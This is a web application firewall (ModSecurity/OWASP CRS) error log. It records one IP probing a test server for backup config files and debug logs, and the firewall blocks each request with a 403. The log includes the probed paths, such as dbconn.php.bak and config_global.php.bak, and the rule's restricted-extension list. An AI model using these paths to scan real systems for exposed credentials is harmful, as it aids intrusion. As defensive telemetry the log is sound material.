[Thu Feb 26 01:03:32.321624 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/config.inc.php.bak&quot;] [unique_id &quot;aZ-N1ICbt-ue5ARpbmjl8AAAAAI&quot;]
[Thu Feb 26 01:03:32.321769 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/config.inc.php.bak&quot;] [unique_id &quot;aZ-N1ICbt-ue5ARpbmjl8AAAAAI&quot;]
[Thu Feb 26 01:03:32.340367 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config_ucenter.php.bak&quot;] [unique_id &quot;aZ-N1CSJSniLip0oFXizzgAAAAA&quot;]
[Thu Feb 26 01:03:32.340882 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config_ucenter.php.bak&quot;] [unique_id &quot;aZ-N1CSJSniLip0oFXizzgAAAAA&quot;]
[Thu Feb 26 01:03:32.341074 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config_ucenter.php.bak&quot;] [unique_id &quot;aZ-N1CSJSniLip0oFXizzgAAAAA&quot;]
[Thu Feb 26 01:03:32.354104 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/debug.log&quot;] [unique_id &quot;aZ-N1ICbt-ue5ARpbmjl8QAAAAI&quot;]
[Thu Feb 26 01:03:32.354660 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/debug.log&quot;] [unique_id &quot;aZ-N1ICbt-ue5ARpbmjl8QAAAAI&quot;]
[Thu Feb 26 01:03:32.354804 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/debug.log&quot;] [unique_id &quot;aZ-N1ICbt-ue5ARpbmjl8QAAAAI&quot;]
[Thu Feb 26 01:03:32.378894 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config_global.php.bak&quot;] [unique_id &quot;aZ-N1CSJSniLip0oFXizzwAAAAA&quot;]
[Thu Feb 26 01:03:32.379364 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config_global.php.bak&quot;] [unique_id &quot;aZ-N1CSJSniLip0oFXizzwAAAAA&quot;]
[Thu Feb 26 01:03:32.379515 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config_global.php.bak&quot;] [unique_id &quot;aZ-N1CSJSniLip0oFXizzwAAAAA&quot;]
[Thu Feb 26 01:03:32.395889 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/content/debug.log&quot;] [unique_id &quot;aZ-N1ICbt-ue5ARpbmjl8gAAAAI&quot;]
[Thu Feb 26 01:03:32.396354 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/content/debug.log&quot;] [unique_id &quot;aZ-N1ICbt-ue5ARpbmjl8gAAAAI&quot;]
[Thu Feb 26 01:03:32.396495 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/content/debug.log&quot;] [unique_id &quot;aZ-N1ICbt-ue5ARpbmjl8gAAAAI&quot;]
[Thu Feb 26 01:03:32.414254 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bitrix/php_interface/dbconn.php.bak&quot;] [unique_id &quot;aZ-N1CSJSniLip0oFXiz0AAAAAA&quot;]
[Thu Feb 26 01:03:32.414755 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bitrix/php_interface/dbconn.php.bak&quot;] [unique_id &quot;aZ-N1CSJSniLip0oFXiz0AAAAAA&quot;]
[Thu Feb 26 01:03:32.414908 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bitrix/php_interface/dbconn.php.bak&quot;] [unique_id &quot;aZ-N1CSJSniLip0oFXiz0AAAAAA&quot;]
[Thu Feb 26 01:03:32.421386 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/npm-debug.log&quot;] [unique_id &quot;aZ-N1ICbt-ue5ARpbmjl8wAAAAI&quot;]
[Thu Feb 26 01:03:32.421666 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/npm-debug.log&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /npm-debug.log found within REQUEST_FILENAME: /npm-debug.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/npm-debug.log&quot;] [unique_id &quot;aZ-N1ICbt-ue5ARpbmjl8wAAAAI&quot;]
[Thu Feb 26 01:03:32.421866 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/npm-debug.log&quot;] [unique_id &quot;aZ-N1ICbt-ue5ARpbmjl8wAAAAI&quot;]
[Thu Feb 26 01:03:32.422010 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/npm-debug.log&quot;] [unique_id &quot;aZ-N1ICbt-ue5ARpbmjl8wAAAAI&quot;]
[Thu Feb 26 01:03:32.458324 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/uc_server/data/config.inc.php.bak&quot;] [unique_id &quot;aZ-N1CSJSniLip0oFXiz0QAAAAA&quot;]
[Thu Feb 26 01:03:32.458855 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/uc_server/data/config.inc.php.bak&quot;] [unique_id &quot;aZ-N1CSJSniLip0oFXiz0QAAAAA&quot;]
[Thu Feb 26 01:03:32.459040 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/uc_server/data/config.inc.php.bak&quot;] [unique_id &quot;aZ-N1CSJSniLip0oFXiz0QAAAAA&quot;]
[Thu Feb 26 01:03:32.462095 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/yarn-debug.log&quot;] [unique_id &quot;aZ-N1ICbt-ue5ARpbmjl9AAAAAI&quot;]
[Thu Feb 26 01:03:32.462611 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/yarn-debug.log&quot;] [unique_id &quot;aZ-N1ICbt-ue5ARpbmjl9AAAAAI&quot;]
[Thu Feb 26 01:03:32.462759 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/yarn-debug.log&quot;] [unique_id &quot;aZ-N1ICbt-ue5ARpbmjl9AAAAAI&quot;]
[Thu Feb 26 01:03:32.499748 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/firebase-debug.log&quot;] [unique_id &quot;aZ-N1ICbt-ue5ARpbmjl9QAAAAI&quot;]
